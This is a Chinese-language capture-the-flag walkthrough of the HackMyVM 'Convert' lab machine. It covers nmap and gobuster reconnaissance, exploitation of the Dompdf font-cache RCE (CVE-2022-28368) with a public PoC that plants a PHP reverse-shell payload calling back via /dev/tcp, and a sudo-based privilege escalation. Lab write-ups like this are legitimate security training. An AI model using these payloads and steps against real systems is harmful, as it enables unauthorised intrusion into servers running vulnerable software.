目录
信息收集
arp
nmap
WEB
web信息收集
gobuster
RCE漏洞
反弹shell
提权
get user.txt
提权
信息收集
arp
┌──(root㉿0x00)-[~/HackMyVM]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:77:ed:84, IPv4: 192.168.9.126
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.134 08:00:27:35:ab:17 PCS Systemtechnik GmbH
8 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.016 seconds (126.98 hosts/sec). 8 responded
nmap
端口信息收集
┌──(root㉿0x00)-[~/HackMyVM]
└─# nmap -p- 192.168.9.134 --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-21 16:55 CST
Nmap scan report for 192.168.9.134
Host is up (0.00040s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:35:AB:17 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 2.81 seconds
服务版本信息收集
┌──(root㉿0x00)-[~/HackMyVM]
└─# nmap -sC -sV -O -p 22,80 192.168.9.134 --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-21 16:56 CST
Nmap scan report for 192.168.9.134
Host is up (0.00042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 d8:7a:1e:74:a2:1a:40:74:91:1f:81:9b:05:7c:9a:f6 (ECDSA)
|_ 256 28:9f:f8:ce:7b:5d:e1:a7:fa:23:c1:fe:00:ee:63:24 (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: HTML to PDF
|_http-server-header: nginx/1.22.1
MAC Address: 08:00:27:35:AB:17 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.93 seconds
WEB
web信息收集
这个功能点就是把写入的xml转换成pdf的格式保存到upload目录下！
gobuster
┌──(root㉿0x00)-[~/HackMyVM]
└─# gobuster dir -u http://192.168.9.134/ -x txt,html,bak,php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.9.134/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,html,bak,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 1026]
/upload (Status: 301) [Size: 169] [--> http://192.168.9.134/upload/]
/dompdf (Status: 301) [Size: 169] [--> http://192.168.9.134/dompdf/]
Progress: 1102800 / 1102805 (100.00%)
===============================================================
Finished
===============================================================
RCE漏洞
经过搜索，该网址存在RCE漏洞！
我们还要手动计算MD5！ 这个是路径
/lib/fonts/exploitfont_normal_"+md5_hash+".php"
这个脚本可以生成两个文件，一个是css文件一个是php文件，我们还需要自己写一个html文件！
┌──(root㉿0x00)-[~/HackMyVM/CVE-2022-28368]
└─# python3 dompdf-rce.py --inject https://vuln.rvz/dev/convert-html-to-pdf?html= --dompdf https://vuln.rvz/dompdf/
CVE-2022-28368 - Dompdf RCE PoC Exploit
Ravindu Wickramasinghe | rvz - @rvizx9
https://github.com/rvizx/CVE-2022-28368
[inf]: selected ip address: 192.168.9.126
[inf]: using payload: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.9.126/9002 0>&1'");?>
[inf]: generating exploit.css and exploit_font.php files...
[inf]: url hash: b95252db6e5526ffd2de6e2ddae3ce3e
[inf]: filename: exploitfont_normal_b95252db6e5526ffd2de6e2ddae3ce3e.php
[inf]: starting http server on port 9001..
[inf]: sending the payloads..
[err]: failed to send the requests! check connection to the host
这里需要配置好，我们最后需要先从转换框下载本地的html文件，然后会触发css文件，最后触发php文件，反弹shell即可成功！
使用python在本地开放一个虚拟服务器，nc记得监听！
反弹shell
记得把完整url进行MD5处理！
┌──(root㉿0x00)-[~/HackMyVM/CVE-2022-28368]
└─# echo -n 'http://192.168.9.126:9000/exploit_font.php'| md5sum
645872e05dd0dfe2f1a6181f49d73ce1
我们需要请求本地的html文件！
可以看到本地已经有了下载记录！我们这时候只需要访问特定的地址即可触发shell！
http://192.168.9.134/dompdf/lib/fonts/exploitfont_normal_645872e05dd0dfe2f1a6181f49d73ce1.php
成功拿到shell！
提权
get user.txt
提权
eva@convert:~$ sudo -l
sudo -l
Matching Defaults entries for eva on convert:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User eva may run the following commands on convert:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /home/eva/pdfgen.py *
eva@convert:~$ ls -al pdfgen.py
ls -al pdfgen.py
-rw-r--r-- 1 root root 2736 Feb 23 21:36 pdfgen.py
直接修改内容即可！
sudo /usr/bin/python3 /home/eva/pdfgen.py 0
如果后面不加数字会让你输入密码！我们只需要在后面随便写上一个即可！
